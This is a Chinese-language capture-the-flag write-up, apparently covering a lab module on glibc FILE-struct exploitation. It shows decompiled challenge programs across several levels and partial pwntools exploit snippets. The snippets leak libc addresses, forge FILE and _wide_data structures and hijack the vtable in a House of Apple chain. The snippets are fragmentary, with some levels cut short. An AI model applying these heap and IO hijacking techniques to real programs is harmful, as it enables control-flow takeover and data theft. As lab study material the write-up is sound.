Harness the power of FILE structs to arbitrarily read data.
初见FILE Struct,大概看了一点教学视频,来看看第一关的程序需要我们做什么
int __fastcall main(int argc, constchar **argv, constchar **envp) { int v3; // eax
setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); puts("###"); printf("### Welcome to %s!\n", *argv); puts("###"); putchar(10); puts( "This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read"); puts( "or write to take control of the process. You may also take control of the virtual function table at the end of the FILE"); puts("struct. If you do this, then you can directly take control of the process and call some other function.\n"); printf("The flag has been read into memory and is located at %p\n", &secret); v3 = open("/flag", 0); read(v3, &secret, 0x64uLL); challenge((unsignedint)argc, argv, envp); puts("### Goodbye!"); return0; }
将flag中的内容读到secret里面了,并且给出了secret的地址。跟进一下challenge
size_tchallenge() { create_tmp_file(); buf = malloc(0x100uLL); puts("This exploit will involve performing an arbitrary read to leak some sensitive the flag.\n"); fp = fopen("/tmp/babyfile.txt", "w"); print_fp(fp); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, fp, 0x1E0uLL); print_fp(fp); return fwrite(buf, 1uLL, 0x100uLL, fp); }
sla('Now reading from stdin directly to the FILE struct.\n\n',payload)
level 2
Harness the power of FILE structs to arbitrarily write data to bypass a security check.
先看看程序
int __fastcall main(int argc, constchar **argv, constchar **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(_bss_start, 0LL, 2, 0LL); puts("###"); printf("### Welcome to %s!\n", *argv); puts("###"); putchar(10); puts( "This challenge allows you to manipulate the memory of an _IO_FILE struct object. By doing this, you can arbitrarily read"); puts( "or write to take control of the process. You may also take control of the virtual function table at the end of the FILE"); puts("struct. If you do this, then you can directly take control of the process and call some other function.\n"); challenge((unsignedint)argc, argv, envp); puts("### Goodbye!"); return0; }
实际上与前一关才差不多,继续跟进challenge
intchallenge() { create_tmp_file(); authenticated = 0; buf = malloc(0x100uLL); puts( "This exploit will involve performing an arbitrary write to execute a code segment which is otherwise unreachable.\n"); fp = fopen("/tmp/babyfile.txt", "r"); print_fp(fp); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, fp, 0x1E0uLL); print_fp(fp); fread(buf, 1uLL, 0x100uLL, fp); if ( authenticated ) return win(); else returnputs("You are not 1337 enough."); }
create_tmp_file(); buf = malloc(0x100uLL); puts( "This exploit will involve altering the flow of data by editing the _fileno attribute of a FILE structure so that private"); puts("data can be made publicly readable.\n"); fp = fopen("/tmp/babyflag.txt", "r+"); fread(buf, 1uLL, 0x100uLL, fp); v1 = fopen("/tmp/babyfile.txt", "r+"); printf("fp2->_fileno = %d\n", (unsignedint)v1->_fileno); print_fp(fp); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, &fp->_fileno, 0x170uLL); print_fp(fp); return fwrite(buf, 1uLL, 0x100uLL, fp); }
__int64 challenge() { create_tmp_file(); buf = (__int64)malloc(0x100uLL); puts( "This FILE struct points to _IO_2_1_stdout_ (otherwise known as just stdout). The stdout FILE struct can be abused to"); puts("perform arbitrary read exploits. These exploits will be triggered by functions such as puts() or printf()\n"); fp = stdout; print_fp(stdout); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, fp, 0x1E0uLL); return print_fp(fp); }
Abuse built-in FILE structs to bypass a security check.
依旧直奔 challege()
intchallenge() { create_tmp_file(); authenticated = 0; buf = (__int64)malloc(0x100uLL); puts( "This FILE struct points to _IO_2_1_stdin_ (otherwise known as just stdin) The stdin FILE struct can be abused to perform"); puts("arbitrary write exploits. These exploits will be triggered by functions such as scanf().\n"); fp = stdin; print_fp(stdin); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, fp, 0x1E0uLL); print_fp(fp); puts("Please log in."); __isoc99_scanf("%64s", buf); if ( authenticated ) return win(); else returnputs("You are not 1337 enough."); }
ru(' puts() within libc is: ') libc_base = int(rl()[-13:-1],16) - libc.sym['puts'] leak('libc_base') ru('[LEAK] The name buffer is located at: ') buf_addr = int(r(10),16) leak('buf_addr')
# debug() sa('Please enter your name.',fake_vtable) sa('Now reading from stdin directly to the FILE struct.\n\n',bytes(fp))
值得注意的是我们还需要给_lock字段设置正确的值,这样能保证程序不会卡在fwrite这里
level 8
Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
同level 7,只不过这次没法再往一个单独的堆地址上输入了,而是只能输入到结构体里面去
puts("Now reading from stdin directly to the FILE struct.\n"); printf("[LEAK] You are writing to: 0x%llx\n", fp); read(0, fp, 0x1E0uLL); print_fp(fp); return fwrite(buf, 1uLL, 0x100uLL, fp);
ru('_lock') fp._lock = int(rl()[-11:-1],16) ru('[LEAK] You are writing to: ') fp_addr = int(r(10),16) leak('fp_addr') fp._wide_data = fp_addr + 0x60 - 0xe0
fp.markers = fp_addr - 0x10 s(bytes(fp))
level 9
Create a fake _wide_data struct to hijack control of the virtual function table of a built-in FILE struct.
这个模块简直就是House of apple的前置知识教学,程序逻辑依旧与level 8类似,只不过这次能够直接修改的是stdout
fp = stdout; print_fp(stdout); puts("Now reading from stdin directly to the FILE struct.\n"); read(0, fp, 0x1E0uLL); return print_fp(fp);
攻击手段与前面两个level差不多,但我前面都是自己试出来的,到这就搞不定了,简单搜索了一下,我们可以参考[原创] House of apple 一种新的glibc中IO攻击方法 (2) 依旧是劫持vtable,让程序执行_IO_wfile_overflow, 接着就是一系列的调用链,注意设置stdout结构体需要满足以下条件 因为stdout前面就是stderr,中间有不少地方都是0,gdb调一下选一个就可以了。 先放个EXP在这里,然后提一下稍微需要注意的事
ru(' puts() within libc is: ') libc_base = int(rl()[-13:-1],16) - libc.sym['puts'] leak('libc_base')
Create a fake _wide_data struct to hijack control of the virtual function table of a FILE struct.
同level 8,但是authenticate函数会对其传入的参数进行检查
__uid_t __fastcall authenticate(constchar *a1) { if ( strcmp(a1, "password") ) { printf("You are not 1337 enough."); exit(0); } chmod("/flag", 0x1FFu); puts("You win! Here is your flag:"); ... }